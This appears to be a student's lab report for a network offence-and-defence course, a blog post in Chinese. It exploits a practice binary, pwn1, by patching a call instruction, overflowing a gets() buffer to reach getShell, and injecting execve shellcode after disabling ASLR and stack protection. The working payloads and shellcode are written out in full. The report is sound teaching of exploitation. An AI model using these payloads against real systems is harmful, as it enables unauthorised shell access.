20252910 2025-2026-2《网络攻防实践》第9次作业

20252910 2025-2026-2《网络攻防实践》第9次作业

1、实验内容

实验目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

  • 实践任务一

​ 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

  • 实践任务二

​ 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

  • 实践任务三

​ 注入一个自己制作的shellcode并运行这段shellcode。

实验要求:

  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • 掌握反汇编与十六进制编程器
  • 能正确修改机器指令改变程序执行流程
  • 能正确构造payload进行bof攻击

2、实验过程

首先进行Kali虚拟机主机名的修改,修改为学号+姓名执行以下命令:

修改配置文件实现永久修改

sudo vim /etc/hostname # 删除原有内容

输入2910lct

先按Esc之后输入:wq!退出,并重启虚拟机

image-20260528095043989

将实验所需文件通过挂载传输到kali虚拟机中

创建挂载点:

sudo mkdir -p /mnt/hgfs

执行挂载命令:

sudo mount -t fuse.vmhgfs-fuse .host:/ /mnt/hgfs -o allow_other

验证是否成功:

ls /mnt/hgfs/share

能看到你 Windows 里 F:\iso\share 里的文件,说明挂载成功。

image-20260528094229379

将所需文件移到桌面上

image-20260528094325062

2.1 任务一:

目标:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

前期已经将文件从主机转移到虚拟机的桌面上,为了区分,现在对文件进行重命名,执行以下命令:

cd Desktop              # 切换到桌面目录 
ls                      # 查看目录文件,确认pwn1存在 
mv pwn1 pwn2910lct  # 重命名文件 
ls                      # 验证重命名结果

image-20260528095253012

对重命名后的程序进行反汇编,分析程序结构

objdump -d pwn2910lct | more # 反汇编程序并分页显示(按回车显示more)

image-20260528100042935

提取核心信息:

getShell 函数:未被主程序调用,地址记为 0x0804847d

main 函数:调用 foo 函数,核心指令:call 8048491 <foo>

目标:修改 main 函数中调用 foo 的指令,改为直接调用 getShell

在 main 函数里,call foo 对应的机器码为 e8 d7 ff ff ff,其中e8是 x86 架构 CALL 指令标识,后 4 字节为相对偏移量,该偏移量由目标函数地址减去 CALL 指令下一条指令地址计算得出;

原偏移量由foo地址08048491与后续指令地址080484ba运算得到0xffffffd7,以小端序呈现为d7 ff ff ff

若要改为调用getShell,通过0804847d080484ba算出新偏移量0xffffffc3,对应小端序c3 ff ff ff

只需将原机器码中的d7 ff ff ff替换为c3 ff ff ff即可完成修改。

使用vim编辑器对目标程序进行编辑,需要通过xxd转换为十六进制格式:

vim pwn2910lct
进入vim后,按ESC进入命令模式,输入以下命令转换为十六进制
:%!xxd

image-20260528101432714

定位到e8 d7 ff ff ff所在的行(000004b0),将其中的d7修改为c3,确保修改后机器码为e8 c3 ff ff ff

image-20260528101644884

image-20260528101759454

修改完成后执行以下命令:

:%!xxd -r #将十六进制格式还原为二进制格式
:wq   #保存并退出

修改结果验证:

objdump -d pwn2910 | more

image-20260528103721537

运行程序验证:

./pwn2910lct

image-20260528103904999

2.2任务二:

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

分析 foo 函数的缓冲区溢出漏洞

反汇编查看 foo 函数:

objdump -d pwn1 | grep foo -A 20

image-20260528104746225

关键漏洞点:

  • foo 函数中使用 gets() 读取用户输入(无长度限制,存在 BOF 漏洞)
  • 缓冲区大小:例如 0x1c(28 字节),超过 28 字节会覆盖栈上的函数返回地址

为了让foo函数执行ret指令时跳转到getShell函数执行,需满足:

  • 前28字节为任意填充数据,填满缓冲区
  • 第29~32字节为任意填充数据,覆盖旧EBP值
  • 第33~36字节为getShell函数的起始地址0x0804847d,由于x86架构采用小端序存储,需写为\x7d\x84\x04\x08

生成Payload文件

使用perl语言构造包含二进制Payload的文件,解决终端无法直接输入十六进制字符的问题:

# 构造Payload,前32字节为填充数据,后4字节为小端序的getShell地址
perl -e 'print "A" x 32;print "\x7d\x84\x04\x08"' > input_2910lct

通过xxd命令验证生成的Payload文件内容:

xxd input_2910lct

image-20260528105415048

执行BoF攻击并验证

通过管道符将Payload文件内容作为目标程序的输入,触发缓冲区溢出攻击:

# 为程序添加可执行权限
chmod u+x ./pwn1
# 执行攻击,cat input文件后追加cat保持Shell交互
(cat input_2910lct; cat) | ./pwn1

image-20260528105620950

验证成功。

2.3任务三:

注入一个自己制作的shellcode并运行这段shellcode

execstack工具安装

离线安装

手动下载execstack的deb安装包,传输到Kali虚拟机后执行

(下载链接: http://archive.ubuntu.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb ):

image-20260528113433957

sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

image-20260528113708436

关闭Linux系统的堆栈保护机制,允许在栈上执行代码:

sudo execstack -s ./pwn1   #设置目标程序堆栈可执行
sudo execstack -q ./pwn1   #验证设置结果,输出包含X则表示设置成功

image-20260528113708436

关闭内核地址随机化,地址空间布局随机化(ASLR)会导致栈地址每次运行都发生变化,无法精准定位Shellcode地址,需临时关闭该机制:

sudo sh -c 'echo "0" > /proc/sys/kernel/randomize_va_space'  # 关闭地址随机化,0为关闭,2为开启
more /proc/sys/kernel/randomize_va_space # 验证关闭结果,输出0则表示关闭成功

image-20260528113853566

构造初始攻击Payload

使用perl生成初始Payload文件:

perl -e 'print "A" x 32;print "\x01\x02\x03\x04\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode2910lct

GDB调试确定Shellcode内存地址

(cat input_shellcode2910lct; cat) | ./pwn1

image-20260528114422181

查看程序进程号:打开第二个终端,执行以下命令查找pwn1的进程PID:

ps -ef | grep pwn1

image-20260528114334806

GDB附加调试进程:在第二个终端启动gdb并附加到目标进程:

gdb
# gdb内执行,附加到目标进程
attach 52238

image-20260528115211879

设置断点并查看栈地址

反汇编foo函数,找到ret指令的地址(0x080484ae):

(gdb) disassemble foo

image-20260528115255992

在ret指令处设置断点,确保程序执行到函数返回前暂停:

(gdb) break *0x080484ae

让程序继续执行到断点处(在第一个终端按下回车键后,gdb终端执行):

(gdb) c

程序断在断点处后,查看栈顶指针寄存器esp的值:

(gdb) info r esp

输出:esp 0xffffcf6c 0xffffcf6c,即返回地址存储在0xffffcf6c

查看该地址的内存内容,验证占位返回地址的位置:

(gdb) x/16x 0xffffcf6c

可看到0xffffcf6c地址处的值为0x04030201,其后紧跟0x90909090(NOP滑板),说明返回地址后紧跟的就是NOP滑板与Shellcode。

image-20260528121621221

查看栈顶指针所在的位置为0xffffcf6c,0x01020304为返回地址的位置。shellcode的地址为栈顶指针的地址 + 4= 0xffffcf6c + 4 = 0xffffcf70,是0xffffcf70:

替换占位返回地址为调试得到的实际地址,重新生成最终Payload文件:

perl -e 'print "A" x 32;print "\x70\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\xd3\xff\xff\x00"' >input_shellcode2910lct

执行最终的Shellcode注入攻击:

(cat input_shellcode2910lct; cat) | ./pwn1

image-20260528123000265

3、实验中遇到的问题

第一个问题:

:%!xxd -r #将十六进制格式还原为二进制格式

输入这个命令,中间少输入了一个空格导致文件被破坏,最后只能从头再来。
第二个问题:

在任务三构造shellcode的时候模式应该是[填充到EIP] + [返回地址(小端)] + [NOP] + [shellcode]
但是后面多了\x00\x0a导致不能攻击成功。

分析原因是:

\x0a 是换行,很多输入函数会把它当成输入结束,同样会截断 payload。

4、学习感悟与思考

本科的时候学习过汇编语言,做这次实验相对来说好熟悉一点,本次实验以pwn1程序为载体,完成了修改二进制文件、利用缓冲区溢出、注入 Shellcode 三项任务,掌握了常用汇编指令机器码、反汇编与二进制编辑、Payload 构造等技能,成功劫持程序执行流。实操过程让我吃透了栈溢出原理,也认识到不安全代码带来的安全风险,体会到二进制安全工作中严谨细致的重要性,增强了代码安全防护意识。

posted @ 2026-05-29 17:02  lLct  阅读(15)  评论(0)    收藏  举报